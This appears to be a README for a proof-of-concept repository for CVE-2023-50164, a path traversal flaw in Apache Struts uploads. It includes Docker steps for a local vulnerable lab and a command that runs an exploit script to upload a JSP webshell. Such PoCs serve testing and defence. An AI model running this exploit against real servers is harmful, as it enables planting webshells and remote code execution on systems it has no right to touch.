## https://sploitus.com/exploit?id=4D5FFA63-6051-59A7-A894-854B399A8636
# CVE-2023-50164 PoC
This repository is a proof of concept (PoC) of the CVE-2023-50164 vulnerability.
## 1. About CVE-2023-50164
**CVE-2023-50164** is a file path traversal vulnerability that occurs in Apache Struts web application.
An attacker could exploit this vulnerability to upload malicious file (WebShell or other Malware) to arbitrary location and make secondary attacks such as remote code execution.
## 2. Building the Vulnerable Environment
The vulnerable web application, StrutsUploadApp, is containerized using Docker. Follow these steps to build and deploy the environment.
Use the provided `Dockerfile` to build the Docker image for `StrutsUploadApp`.
```bash
docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app
```
## 3. Exploit
Run the exploit script to trigger the vulnerability.
```bash
python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action /
--file=webshell.jsp /
--file-parameter=upload /
--attemps=5
```